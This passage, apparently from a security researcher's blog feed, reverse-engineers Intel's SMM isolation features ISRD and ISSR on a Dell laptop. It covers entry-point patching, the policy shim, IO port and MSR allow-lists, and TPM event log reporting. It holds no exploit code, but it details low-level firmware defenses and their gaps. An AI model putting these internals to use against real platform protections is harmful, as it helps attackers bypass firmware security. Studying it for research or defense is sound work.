<p>The formats of the IO ports and MSR access policies returned by PPAM are that of the IO permission bitmap and MSR bitmap, respectively. PPAM resolves the IO ports bitmap from the SMM TSS and the MSR bitmap through the <code class="language-plaintext highlighter-rouge">SMM_INFO</code> data structure, which is analyzed in <a href="/blog/2024/02/29/ISRD.html">the previous post</a>.</p>

<h3 id="policy-evaluation">Policy evaluation</h3>

<ul>
  <li>Key function: <code class="language-plaintext highlighter-rouge">BlpSmmTxtEvaluatePolicy</code></li>
</ul>

<p>The policies returned by PPAM are evaluated and translated into an SMM isolation level, ranging from 3 (best), 2, 1, or disabled/error (worst). The requirements for IO ports and MSRs to be qualified for each level are listed in the <a href="#appendix">Appendix</a> section.</p>

<p>The SMM isolation level is further mapped into one of the following integers, which is extended to PCR 20 and saved into the TPM event log as an event ID 0x000c0002 (<a href="https://github.com/microsoft/win32metadata/blob/08d1cbd3d0f4c52207d70d90ffd20a0be33985b1/generation/WinSDK/RecompiledIdlHeaders/um/wbcl.h#L505">SIPAEVENT_DRTM_SMM_LEVEL</a>).</p>

<table>
  <thead>
    <tr>
      <th>Level</th>
      <th>Reported as</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>3</td>
      <td>0x1e (30)</td>
    </tr>
    <tr>
      <td>2</td>
      <td>0x14 (20)</td>
    </tr>
    <tr>
      <td>1</td>
      <td>0xa  (10)</td>
    </tr>
    <tr>
      <td>Disabled/Error</td>
      <td>0xff</td>
    </tr>
  </tbody>
</table>

<p>Here is a dump of the event log taken on my system, indicating the SMM isolation level being 3 (0x1e).</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;EV_Event_Tag</span> <span class="na">PCR=</span><span class="s">"20"</span> <span class="na">EventDigest=</span><span class="s">"ec16c02772e4aa64c15182d222452bc3f848f0cbd69325855bbfe04a98db3dfa"</span> <span class="na">Size=</span><span class="s">"9"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;SipaEvent</span> <span class="na">Type=</span><span class="s">"0x000c0002"</span> <span class="na">Size=</span><span class="s">"1"</span><span class="nt">&gt;</span>
    1e
    <span class="c">&lt;!-- . --&gt;</span>
  <span class="nt">&lt;/SipaEvent&gt;</span>
<span class="nt">&lt;/EV_Event_Tag&gt;</span>
</code></pre></div></div>

<p>Extending the PCR implies that even if an attacker prevents registration of PPAM by exploiting SMM configuration phase code as <a href="https://binarly.io/posts/Black_Hat_2022_The_Intel_PPAM_attack_story/">explained by the Binary team</a>, it will be visible from an OS and security software. Though, worth noting that being visible does not mean someone or something watches out for anomalies and reacts to them. Researching the actual impact of having unexpected PCR 17, 20, or a low SMM isolation level under bare Windows and EDR software is left to readers.</p>

<h2 id="conclusion">Conclusion</h2>

<p>In this post, we analyzed the implementation of ISSR and how Windows interacted with it to receive the SMM security policies from PPAM by establishing the trusted execution environment. Technologies and components we reviewed include PPAM, PPAM manifest, Intel TXT, TXT heap, SNIT ACM, tcblaunch, hypercalls, SMM isolation level, and TPM event logs. We also identified IO ports and MSRs deemed to have security implications from Windows’ perspective based on the requirements for isolation levels.</p>

<p>Although understanding the threat model and technology stack of ISSR is challenging, I greatly enjoyed solving the puzzle of how each piece builds up the ISSR architecture together. Also, while we did not discuss any new security issues, learning modern security mechanisms is still a great way to think through possible attack vectors and is recommended for security minded folks.</p>

<p><img src="/blog/img/posts/2024-03-18/cat.jpg" alt="" /> <em>(Your holiday trip is canceled, human.)</em></p>

<h2 id="footnotes">Footnotes</h2>

<p><a name="note1">*1</a> (<a href="#body1">🔙</a>): The other reason SMI would not work is that such SMM modules are not measured during the measured launch, and thus, no way to verify its identity and integrity in the first place.</p>

<p><a name="note2">*2</a> (<a href="#body2">🔙</a>): And any reasonably complex software systems can be tampered with.</p>

<p><a name="note3">*3</a> (<a href="#body3">🔙</a>): Do not confuse ISSR (PPAM) with a mechanism to deprivilege SMM. Some articles mix them up. They are strongly related but well-isolated technologies.</p>

<p><a name="note4">*4</a> (<a href="#body4">🔙</a>): I am unclear on what mechanism allows SINIT ACM to access SMRAM. My guess is that this is one of the things allowed during the authenticated code execution mode, but it does not appear to be documented.</p>

<p><a name="note5">*5</a> (<a href="#body5">🔙</a>): On Windows, TPM event logs are eventually saved on <code class="language-plaintext highlighter-rouge">C:\Windows\Logs\MeasuredBoot\</code> and can be queried through the <a href="https://learn.microsoft.com/en-us/windows/win32/api/_tbs/">TPM Base Services</a>. This log is called Windows Boot Configuration Logs (WBCL) or TCG event logs in the Windows nomenclature and is parsable with API prefixed with <code class="language-plaintext highlighter-rouge">Wbcl</code>. See the <a href="https://github.com/microsoft/TSS.MSR">TSS.MSR</a> repository for examples. Here is the output of the <a href="https://gist.github.com/tandasat/608af557a52ea9490b822efc59b86f44">modified version</a> of the log parser on my system, showing the digest of PPAM in the event 0x0000040E (<a href="https://github.com/microsoft/win32metadata/blob/08d1cbd3d0f4c52207d70d90ffd20a0be33985b1/generation/WinSDK/RecompiledIdlHeaders/um/wbcl.h#L77">SIPAEV_TXT_STM_HASH</a>)</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;TCGEvent</span> <span class="na">Type=</span><span class="s">"0000040e"</span> <span class="na">PCR=</span><span class="s">"17"</span> <span class="na">Digest=</span><span class="s">"91081b95d3123977dc1dea8afeffa9f40a72e50f94e7a7ae1b780efad035509a"</span> <span class="na">Size=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
</code></pre></div></div>

<p>Notice this <code class="language-plaintext highlighter-rouge">9108...</code> matches with the SHA256 digest of the PPAM file above. By parsing them, third-party software can verify state of ISRD and ISSR, for example.</p>

<p><a name="note6">*6</a> (<a href="#body6">🔙</a>): You might have wondered when the <code class="language-plaintext highlighter-rouge">VMLAUNCH</code> instruction ran before the <code class="language-plaintext highlighter-rouge">VMCALL</code> instruction. It was not. Once the STM is registered, the <code class="language-plaintext highlighter-rouge">VMCALL</code> instruction during VMX root-operation causes a transition to the STM entry point as “SMM VM Exits”. For more information, see <em>“32.15.6 Activating the Dual-Monitor Treatment”</em> in the Intel SDM.</p>

<h2 id="appendix">Appendix</h2>

<h3 id="smm-isolation-level-requirements">SMM isolation level requirements</h3>

<details>
  <summary>Click to expand</summary>

  <p>The below lists IO ports that cannot be accessible to be entitled to each isolation level. It would be interesting to take a closer look to see why some MSRs are listed as requirements while others are not.</p>

  <p>Level 1:</p>
  <ul>
    <li>No requirement</li>
  </ul>

  <p>Level 2:</p>
  <ul>
    <li>0xcf8 - 0cfb</li>
    <li>0xcfc - 0cff</li>
  </ul>

  <p>Level 3:</p>
  <ul>
    <li>Same as level 2</li>
  </ul>

  <p>The below lists MSRs that cannot be accessible to be entitled to each isolation level. Requirements are different for AMD and Intel systems. The list shown here is for Intel.</p>

  <p>Level 1</p>
  <ul>
    <li>No requirement</li>
  </ul>

  <p>Level 2</p>
  <ul>
    <li>e4h - MSR_PMG_IO_CAPTURE_BASE</li>
    <li>600h - IA32_DS_AREA</li>
    <li>652h - MSR_PKG_HDC_CONFIG</li>
    <li>653h - MSR_CORE_HDC_RESIDENCY</li>
    <li>655h - MSR_PKG_HDC_SHALLOW_RESIDENCY</li>
    <li>656h - MSR_PKG_HDC_DEEP_RESIDENCY</li>
    <li>658h - MSR_WEIGHTED_CORE_C0</li>
    <li>700h - MSR_UNC_CBO_0_PERFEVTSEL0</li>
    <li>701h - MSR_UNC_CBO_0_PERFEVTSEL1</li>
    <li>706h - MSR_UNC_CBO_0_PERFCTR0</li>
    <li>707h - MSR_UNC_CBO_0_PERFCTR1</li>
    <li>710h - MSR_UNC_CBO_1_PERFEVTSEL0</li>
    <li>711h - MSR_UNC_CBO_1_PERFEVTSEL1</li>
    <li>716h - MSR_UNC_CBO_1_PERFCTR0</li>
    <li>717h - MSR_UNC_CBO_1_PERFCTR1</li>
    <li>720h - MSR_UNC_CBO_2_PERFEVTSEL0</li>
    <li>721h - MSR_UNC_CBO_2_PERFEVTSEL1</li>
    <li>726h - MSR_UNC_CBO_2_PERFCTR0</li>
    <li>727h - MSR_UNC_CBO_2_PERFCTR1</li>
    <li>730h - MSR_UNC_CBO_3_PERFEVTSEL0</li>
    <li>731h - MSR_UNC_CBO_3_PERFEVTSEL1</li>
    <li>736h - MSR_UNC_CBO_3_PERFCTR0</li>
    <li>737h - MSR_UNC_CBO_3_PERFCTR1</li>
  </ul>

  <p>Level 3</p>
  <ul>
    <li>All of the above and</li>
    <li>570h - IA32_RTIT_CTL</li>
  </ul>

</details>

<h3 id="further-learning-resources">Further learning resources</h3>

<details>
  <summary>Click to expand</summary>

  <ul>
    <li>TXT
      <ul>
        <li><a href="https://intel.com/sdm">Intel SDM</a>, <em>“CHAPTER 7 SAFER MODE EXTENSIONS REFERENCE”</em></li>
        <li><a href="https://cdrdv2-public.intel.com/315168/315168_TXT_MLE_DG_rev_017_4.pdf">Intel® Trusted Execution. Technology (Intel® TXT). Software Development Guide. Measured Launch Environment Developer’s Guide</a></li>
        <li><a href="https://www.amazon.ca/Trusted-Execution-Technology-Server-Platforms/dp/143026148X">Intel Trusted Execution Technology for Server Platforms: A Guide to More Secure Datacenters</a></li>
        <li><a href="https://www.amazon.com/Building-Secure-Firmware-Armoring-Foundation/dp/1484261054">Building Secure Firmware: Armoring the Foundation of the Platform</a></li>
        <li><a href="https://www.blackhat.com/presentations/bh-dc-09/Wojtczuk_Rutkowska/BlackHat-DC-09-Rutkowska-Attacking-Intel-TXT-slides.pdf">Attacking Intel® Trusted Execution Technology</a></li>
      </ul>
    </li>
    <li>TPM
      <ul>
        <li><a href="https://www.amazon.ca/Practical-Guide-TPM-2-0-Platform/dp/1430265833">A Practical Guide to TPM 2.0: Using the Trusted Platform Module in the New Age of Security</a></li>
        <li><a href="https://trustedcomputinggroup.org/resource/pc-client-specific-platform-firmware-profile-specification/">TCG PC Client Platform Firmware Profile Specification</a>
          <ul>
            <li><em>“10 Event Logging”</em> for event logs.</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>STM
      <ul>
        <li><a href="https://github.com/jyao1/STM">STM by Jiewen Yao</a></li>
        <li><a href="https://github.com/tianocore/tianocore.github.io/wiki/EDK-II-Security-White-Papers">A Tour Beyond BIOS Supporting an SMM Resource Monitor using the EFI Developer Kit II</a></li>
      </ul>
    </li>
    <li>ISRD/ISSR
      <ul>
        <li><a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/drtm-based-computing-whitepaper.pdf">Intel® Hardware Shield: Trustworthy SMM on the Intel vPro® Platform</a></li>
        <li><a href="https://www.microsoft.com/en-us/security/blog/2020/11/12/system-management-mode-deep-dive-how-smm-isolation-hardens-the-platform/">System Management Mode deep dive: How SMM isolation hardens the platform</a></li>
        <li><a href="https://www.intel.com/content/www/us/en/architecture-and-technology/vpro/hardware-shield/below-the-os-security-white-paper.html">Intel® Hardware Shield – Below-the-OS Security</a></li>
        <li><a href="https://www.microsoft.com/en-us/security/blog/2020/09/01/force-firmware-code-to-be-measured-and-attested-by-secure-launch-on-windows-10/">Force firmware code to be measured and attested by Secure Launch on Windows 10</a></li>
        <li><a href="https://github.com/binarly-io/Research_Publications/tree/main/BHUS_2022">Breaking Firmware Trust From Pre-EFI: Exploiting Early Boot Phases</a></li>
      </ul>
    </li>
  </ul>

</details>

<hr />

<p><em>Found this post interesting? We offer a training course about the Intel virtualization technology. <a href="https://tandasat.github.io/">Check out the course syllabus</a>.</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[This two-post series details the inner workings of System Management Mode (SMM) isolation on the Intel platform and interaction with Windows.]]></summary></entry><entry><title type="html">SMM isolation - SMI deprivileging (ISRD)</title><link href="/blog/2024/02/29/ISRD.html" rel="alternate" type="text/html" title="SMM isolation - SMI deprivileging (ISRD)" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>/blog/2024/02/29/ISRD</id><content type="html" xml:base="/blog/2024/02/29/ISRD.html"><![CDATA[<p>This two-post series details the inner workings of System Management Mode (SMM) isolation on the Intel platform and interaction with Windows.</p>

<p>This post focuses on SMI deprivileging. For security policy reporting and interaction with Windows, see <a href="/blog/2024/03/18/ISSR.html">the next post</a>.</p>

<details>
  <summary>Table of contents👇</summary>

  <ul>
    <li><a href="#goals">Goals</a></li>
    <li><a href="#overview-of-isrd">Overview of ISRD</a></li>
    <li><a href="#core-implementation">Core implementation</a>
      <ul>
        <li><a href="#smm-policy-shim">SMM Policy Shim</a>
          <ul>
            <li><a href="#dgrreleasespssmmentrypoint">DgrReleaseSpsSmmEntryPoint</a></li>
            <li><a href="#dgrreleasesps">DgrReleaseSps</a></li>
          </ul>
        </li>
        <li><a href="#pismmcpudxesmm">PiSmmCpuDxeSmm</a></li>
      </ul>
    </li>
    <li><a href="#policy-management-implementation">Policy management implementation</a>
      <ul>
        <li><a href="#ppamplatformsmm">PpamPlatformSmm</a></li>
        <li><a href="#oem-customization">OEM customization</a>
          <ul>
            <li><a href="#dellppamplatformsmm">DellPpamPlatformSmm</a></li>
            <li><a href="#dellsmmhwaccessinfo">DellSmmHwAccessInfo</a></li>
          </ul>
        </li>
        <li><a href="#debug-registers-write-access-policy">Debug registers write access policy</a></li>
      </ul>
    </li>
    <li><a href="#further-research-areas">Further research areas</a></li>
    <li><a href="#conclusion">Conclusion</a></li>
    <li><a href="#footnotes">Footnotes</a></li>
    <li><a href="#appendix">Appendix</a>
      <ul>
        <li><a href="#smm_info-patch-entry-types">SMM_INFO patch entry types</a></li>
        <li><a href="#default-io-port-access-policy">Default IO port access policy</a></li>
        <li><a href="#default-msr-access-policy">Default MSR access policy</a></li>
        <li><a href="#dells-additional-io-port-access-policy">Dell’s additional IO port access policy</a></li>
        <li><a href="#dells-additional-msr-access-policy">Dell’s additional MSR access policy</a></li>
      </ul>
    </li>
  </ul>

</details>

<h2 id="goals">Goals</h2>

<p>The goal of this series is to shed light on the designs and implementations of two of Intel’s “below-OS” security features: Intel System Resources Defense (ISRD) and Intel System Security Report (ISSR), for security researchers and system software designers.</p>

<p>The readers are assumed to be familiar with the concept of SMM isolation. If not, I suggest reading the following articles and whitepapers published by Intel and Microsoft:</p>
<ul>
  <li><a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/drtm-based-computing-whitepaper.pdf">Intel® Hardware Shield: Trustworthy SMM on the Intel vPro® Platform</a></li>
  <li><a href="https://www.microsoft.com/en-us/security/blog/2020/11/12/system-management-mode-deep-dive-how-smm-isolation-hardens-the-platform/">System Management Mode deep dive: How SMM isolation hardens the platform</a></li>
  <li>Optionally:
    <ul>
      <li><a href="https://www.intel.com/content/www/us/en/architecture-and-technology/vpro/hardware-shield/below-the-os-security-white-paper.html">Intel® Hardware Shield – Below-the-OS Security</a></li>
      <li><a href="https://www.microsoft.com/en-us/security/blog/2020/09/01/force-firmware-code-to-be-measured-and-attested-by-secure-launch-on-windows-10/">Force firmware code to be measured and attested by Secure Launch on Windows 10</a></li>
    </ul>
  </li>
</ul>

<p>While these explain background problems and the architecture of the solutions very well, implementation details are not the focus of the publications. Even beyond these whitepapers and articles, very little information on their implementation exists publicly. Thus, it is worth detailing these for security minded folks.</p>

<p>This article is based on the results of reverse engineering the 12th gen system (Dell Latitude 7330 with <a href="https://www.dell.com/support/home/en-ca/drivers/driversdetails?driverid=r7ndh&amp;oscode=wt64a&amp;productcode=latitude-13-7330-2-in-1-laptop">BIOS version 1.18.0</a>) and likely has incorrect analysis. Please message me if you find misinformation.</p>

<h2 id="overview-of-isrd">Overview of ISRD</h2>

<p>Intel System Resources Defense (ISRD), code-named “Devil’s Gate Rock”, is the Intel implementation of SMM isolation. Under this architecture, SMM code is placed in user-mode except very small pieces provided by Intel, thereby minimizing the impact of vulnerabilities in SMM interrupt (SMI) handlers.</p>

<p>The below diagram illustrates the SMM execution flow in this architecture.</p>

<p><img src="/blog/img/posts/2024-02-29/isrd_code_flow.png" alt="" /></p>

<p>At the high level, SMIs are handled as follows:</p>

<ol>
  <li>On SMI, the SMM entry point in kernel-mode gets executed.</li>
  <li>The SMM entry point jumps to user-mode.</li>
  <li>One of the OEM-developed SMM modules gets executed to handle the given SMI.</li>
  <li>When the SMM module attempts to access system resources, an exception occurs.
    <ul>
      <li>The security monitor handles the exception according to the security policies.</li>
    </ul>
  </li>
  <li>The security monitor returns to user-mode.
    <ul>
      <li>Repeat (4) and (5) as necessary.</li>
    </ul>
  </li>
  <li>When the SMI is handled, execution returns to kernel-mode code.</li>
  <li>Kernel-mode code exits SMM.</li>
</ol>

<p>Notice that only the SMM entry point and exception handling code are executed in kernel-mode, compared with traditional SMI handling where all code runs in kernel-mode.</p>

<h2 id="core-implementation">Core implementation</h2>

<p>Let us look at the installation and execution flow of ISRD core components in more detail.</p>

<p>The policy installation and updates are explained in the <a href="#policy-management-implementation">Policy management implementation</a> section.</p>

<h3 id="smm-policy-shim">SMM Policy Shim</h3>

<p>SMM Policy Shim (SPS) is kernel-mode SMM component provided by Intel to OMEs as blob files. It consists of two files: <code class="language-plaintext highlighter-rouge">DgrReleaseSpsSmmEntryPoint</code> and <code class="language-plaintext highlighter-rouge">DgrReleaseSps</code>.</p>

<h4 id="dgrreleasespssmmentrypoint">DgrReleaseSpsSmmEntryPoint</h4>

<p><img src="/blog/img/posts/2024-02-29/isrd_sps_ep.png" alt="" /></p>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">7C7D635B-8B9C-463C-9F7F-91F60906848F</code></li>
  <li>Developer: Intel</li>
</ul>

<p>This is a raw blob file whose offset zero is the SMM entry point code in real-mode.</p>

<p>This code sets up and switches to long-mode, locks security sensitive registers with the <code class="language-plaintext highlighter-rouge">SMM_SUPOVR_STATE_LOCK</code> MSR (<a name="body1"><a href="#note1">*1</a></a>), and jumps to a user-mode entry point by executing the <code class="language-plaintext highlighter-rouge">SYSEXIT</code> instruction if ISRD is enabled (<a name="body2"><a href="#note2">*2</a></a>).</p>

<p>Since the SMM entry point code is security critical and needs to be as simple as possible, when it is installed on SMM memory (SMRAM), the code is patched to accommodate non-constant values instead of having complex logic to compute and/or resolve them within the SMM entry point code. This patching is done by <code class="language-plaintext highlighter-rouge">PiSmmCpuDxeSmm</code> walking through the <code class="language-plaintext highlighter-rouge">SMM_INFO</code> structure at the end of this file. The structure contains the entries with the following format, instructing <code class="language-plaintext highlighter-rouge">PiSmmCpuDxeSmm</code> which addresses to patch.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">SMM_INFO_ENTRY</span> <span class="p">{</span>
  <span class="kt">uint8_t</span> <span class="n">Type</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">SizeInBytes</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">Offset</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>As such, some code is incomplete on disk. As an example, this is code on disk that lacks a proper value for CR3.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000085: B8 00 00 00 00  mov eax, 0
0000008A: 0F 22 D8        mov cr3, rax
</code></pre></div></div>

<p>However, <code class="language-plaintext highlighter-rouge">03 04 86 00</code> in the patch entries below lets <code class="language-plaintext highlighter-rouge">PiSmmCpuDxeSmm</code> fill in the CR3 value (type <code class="language-plaintext highlighter-rouge">03</code>) by patching a <code class="language-plaintext highlighter-rouge">04</code>-byte patch at the offset <code class="language-plaintext highlighter-rouge">0086</code> at runtime. This approach reduces the complexity of the entry point code. For the list of the patch entries, see the <a href="#appendix">Appendix</a> section.</p>

<p><img src="/blog/img/posts/2024-02-29/isrd_smm_info.png" alt="" /></p>

<p>Finally, this file also implements a function that runs when execution returns from user-mode with the <code class="language-plaintext highlighter-rouge">SYSENTER</code> instruction. This function executes the <code class="language-plaintext highlighter-rouge">RSM</code> instruction at the end, exiting SMM.</p>

<h4 id="dgrreleasesps">DgrReleaseSps</h4>

<p><img src="/blog/img/posts/2024-02-29/isrd_sps_intr.png" alt="" /></p>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">7134E3EE-7FA6-4489-87A7-AE38984EAED8</code></li>
  <li>Developer: Intel</li>
</ul>

<p>This is the cornerstone of the ISRD architecture – the security monitor implementing part of policy enforcement for user-mode SMM modules.</p>

<p>This module implements interrupt handlers, and in the case of #GP from user-mode, it evaluates a cause and a security policy. If the security policy allows the operation, this module performs the action that caused the exception on behalf of user-mode and returns the result.</p>

<p>For instance, when a user-mode SMM module executes the <code class="language-plaintext highlighter-rouge">RDMSR</code> instruction, it causes #GP. The exception is handled by this module. The module determines that the instruction is to read <code class="language-plaintext highlighter-rouge">MSR_SMM_FEATURE_CONTROL</code> by decoding bytes at user-mode RIP. Then, it looks up the security policy, finds that this particular MSR is allowed to read, executes the <code class="language-plaintext highlighter-rouge">RDMSR</code> instruction for the same MSR, updates user-mode EDX:EAX and RIP accordingly, and returns to user-mode.</p>

<p>In case an exception is caused by an action not allowed by the security policy, or is anything other than #GP from user-mode, it halts processor execution (<a name="body3"><a href="#note3">*3</a></a>).</p>

<p>Note that some operations from user-mode are always allowed and handled without consulting the security policy. The below table summarizes how user-mode operations are handled:</p>

<table>
  <thead>
    <tr>
      <th>Operation</th>
      <th>Allowed</th>
      <th>Enforced by</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Read from and write to MSRs</td>
      <td>By policy</td>
      <td>SPS</td>
    </tr>
    <tr>
      <td>Read from and write to IO ports</td>
      <td>By policy</td>
      <td>Processor</td>
    </tr>
    <tr>
      <td>Write to debug registers</td>
      <td>By policy</td>
      <td>SPS</td>
    </tr>
    <tr>
      <td>Read from debug registers</td>
      <td>Always</td>
      <td>SPS</td>
    </tr>
    <tr>
      <td>Read from CR2</td>
      <td>Always</td>
      <td>SPS</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cli</code> (<a name="body4"><a href="#note4">*4</a></a>)</td>
      <td>Always</td>
      <td>SPS</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">wbinvd</code></td>
      <td>Always</td>
      <td>SPS</td>
    </tr>
  </tbody>
</table>

<p>For IO ports handling, we will take a closer look in the <a href="#ppamplatformsmm">PpamPlatformSmm</a> section later. The later <a href="#policy-management-implementation">Policy management implementation</a> section describes how policies are installed and customized.</p>

<h3 id="pismmcpudxesmm">PiSmmCpuDxeSmm</h3>

<p><img src="/blog/img/posts/2024-02-29/isrd_um.png" alt="" /></p>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">A3FF0EF5-0C28-42F5-B544-8C7DE1E80014</code></li>
  <li>Developer: TianoCore, customized by OEM</li>
</ul>

<p>This module is an installer and glue.</p>

<p>During the SMM configuration phase, this component detects the compatibility with ISRD through <code class="language-plaintext highlighter-rouge">MSR_PLATFORM_INFO</code> (0xCE), and if ISRD is to be enabled, it loads the above mentioned two SPS files into SMRAM and patches <code class="language-plaintext highlighter-rouge">DgrReleaseSpsSmmEntryPoint</code> as explained above.</p>

<p><img src="/blog/img/posts/2024-02-29/isrd_sps_installation.png" alt="" /></p>

<p>This file also implements the user-mode entry point jumped from <code class="language-plaintext highlighter-rouge">DgrReleaseSpsSmmEntryPoint</code>. This entry point is the business logic entry point for SMM, meaning it synchronizes (aka, rendezvous) all logical processors and executes an SMI handler.</p>

<p>The code in this flow can run in both user-mode and kernel-mode to support both when ISRD is enabled and disabled. It usually does not require special care as the SPS allows access to necessary system resources even if the processor is in user-mode.</p>

<h2 id="policy-management-implementation">Policy management implementation</h2>

<p>This section explains how IO port and MSR access policies are installed, and then, updated by OEM. The overview is depicted below.</p>

<p><img src="/blog/img/posts/2024-02-29/isrd_policy_management.png" alt="" /></p>

<h3 id="ppamplatformsmm">PpamPlatformSmm</h3>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">91D211BF-37C2-495A-8DF7-9546BD2555C0</code></li>
  <li>Developer: Intel, customized by OEM</li>
</ul>

<p>This small SMM module contains and installs the default security policy provided by Intel.</p>

<p>The module runs during the SMM configuration phase, resolves the security policy manipulation API, the <a href="https://github.com/tianocore/edk2-platforms/blob/9c9a4821e0866f219f1d03ba24a6a433ea408223/Silicon/Intel/TigerlakeSiliconPkg/SiPkg.dec#L587C1-L587C32"><code class="language-plaintext highlighter-rouge">gSmmResourceConfigProtocolGuid</code> protocol</a> implemented in <code class="language-plaintext highlighter-rouge">PiSmmCpuDxeSmm</code>, and calls it with statically embedded IO and MSR policies.</p>

<p>The statically embedded policies are converted into the following runtime formats through the protocol:</p>
<ul>
  <li>MSRs: That of the MSR bitmaps (see: <em>“25.6.9 MSR-Bitmap Address”</em> in the Intel SDM). <code class="language-plaintext highlighter-rouge">DgrReleaseSps</code> enforces the policy by looking up this bitmap on #GP.</li>
  <li>IO ports: That of the IO permission bitmap. The processor enforces the policy by using this bitmap as the IO permission bitmap (see: <em>“19.5.2 I/O Permission Bit Map”</em> in the Intel SDM). The IO permission bitmap is an old mechanism in the processors, allowing user-mode code to access IO ports specified by the bitmap.</li>
</ul>

<p>It is worth noting that the IO port and MSR access policies are allow-list based, reducing the risk of having overly permissive policies.</p>

<p>The policies are customizable by OEMs until the SMM configuration is locked and third-party code starts running. This provides flexibility to OEMs while preventing malicious customization by third-party code. We will take a look at customization by Dell in the <a href="#oem-customization">OEM customization</a> section.</p>

<p>For the contents of the default policies embedded in this file, refer to the <a href="#appendix">Appendix</a> section.</p>

<h3 id="oem-customization">OEM customization</h3>

<h4 id="dellppamplatformsmm">DellPpamPlatformSmm</h4>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">3C4B7480-E1D8-4D59-80C1-7307A2B1D666</code></li>
  <li>Developer: Dell (OEM)</li>
</ul>

<p>This SMM module updates the default security policy with these by Dell.</p>

<p>This module registers a callback executed right before SMM configuration is locked. The callback resolves Dell’s additional policies in <a href="#dellsmmhwaccessinfo">DellSmmHwAccessInfo</a>, then, adds more allowed IO ports and MSRs using the previously mentioned <code class="language-plaintext highlighter-rouge">gSmmResourceConfigProtocolGuid</code> protocol.</p>

<h4 id="dellsmmhwaccessinfo">DellSmmHwAccessInfo</h4>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">7652F853-6243-4358-2BBD-6F235DCA34AB</code></li>
  <li>Developer: Dell (OEM)</li>
</ul>

<p>This SMM module embeds and exposes Dell’s additional allowed IO ports and MSRs.</p>

<p>Dell’s policies open access to 114 MSRs and, at most, 7 IO ports in addition to the Intel-provided policies. For the list of them, see the <a href="#appendix">Appendix</a> section.</p>

<h3 id="debug-registers-write-access-policy">Debug registers write access policy</h3>

<p>Whether writing to debug registers is allowed is ruled by a value pointed by the entry type 0xC of <code class="language-plaintext highlighter-rouge">SMM_INFO</code>. This value is hard-coded to disallow access and is neither updated by the patching mechanism nor customizable to OEMs in the analyzed version. The use of debug registers from user-mode SMM modules is most likely allowed only with a debug version for OEMs.</p>

<!--
## Relation to the WSMT ACPI table

Nothing.

You might wonder if the [Windows SMM Security Mitigation Table (WSMT) ACPI table](https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/fixed-combuffer-and-windows-smm-security-mitigation-table) reports the use of ISRD through the `SYSTEM_RESOURCE_PROTECTION` flag. No, it is something else. The reported flags are hard-coded to 0b111 since the 9th gen at least instead. See `AcpiPlatformFeatures` (`07709C98-414A-4039-B7D0-29C21F105E92`) for flag initialization code.
-->

<h2 id="further-research-areas">Further research areas</h2>

<p>These are potentially interesting areas to further study:</p>
<ul>
  <li>Access policies for memory and processor saved state access.</li>
  <li>Exploitability of the default and Dell security policies should user-mode SMM be compromised.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>In this post, we reviewed the design and implementation of ISRD; the mechanism to deprivilege SMI handlers into user-mode and enforce security policies from kernel-mode. Along the way, we also studied runtime patching, and layouts and customization of the security policies by OEM. Finally, we enumerated the lists of IO ports and MSRs still accessible from the user-mode SMI handlers under Intel’s and Dell’s security policies.</p>

<p>ISRD is beautifully architected by taking advantage of existing processor features. It is relatively straightforward to learn compared with ISSR (which will be discussed in <a href="/blog/2024/03/18/ISSR.html">the next post</a>), as almost all aspects of implementations are in either software or well-understood hardware features. If you are interested in low-level platform security, studying it is worth the effort.</p>

<h2 id="footnotes">Footnotes</h2>

<p><a name="note1">*1</a> (<a href="#body1">🔙</a>): SMM_SUPOVR_STATE_LOCK (MSR 0x141) is undocumented. It is the implementation of Intel Runtime BIOS Resilience, the hardware enhancement to lock CR0, CR3, and other security sensitive registers even against kernel-mode SMM code.</p>

<p><a name="note2">*2</a> (<a href="#body2">🔙</a>): If ISRD is not enabled, the SMM entry point simply <code class="language-plaintext highlighter-rouge">JMP</code>s to the user-mode entry point in <code class="language-plaintext highlighter-rouge">PiSmmCpuDxeSmm</code>, meaning the same code is executed in kernel-mode.</p>

<p><a name="note3">*3</a> (<a href="#body3">🔙</a>): To be precise, if a non continuable exception is raised from user-mode, execution goes back to user-mode and dumps register values before halting the processor. This code also contains an unreachable path that lets user-mode continue execution, which is most likely to help OEMs audit policy violations while developing their SMM modules.</p>

<p><a name="note4">*4</a> (<a href="#body4">🔙</a>): The <code class="language-plaintext highlighter-rouge">CLI</code> instruction is handled as no-op by the SPS.</p>

<h2 id="appendix">Appendix</h2>

<h3 id="smm_info-patch-entry-types">SMM_INFO patch entry types</h3>

<details>
  <summary>Click to expand</summary>

  <p>Below is dump of the <code class="language-plaintext highlighter-rouge">SMM_INFO</code> patch entries on my system with a description of each type. The “Patched” column indicates whether the value is updated at the runtime with the mechanism described above.</p>

  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Type | Size | Offset | Patched | Description
00   | 04   | 0002   |         | Size of SPS entry point code
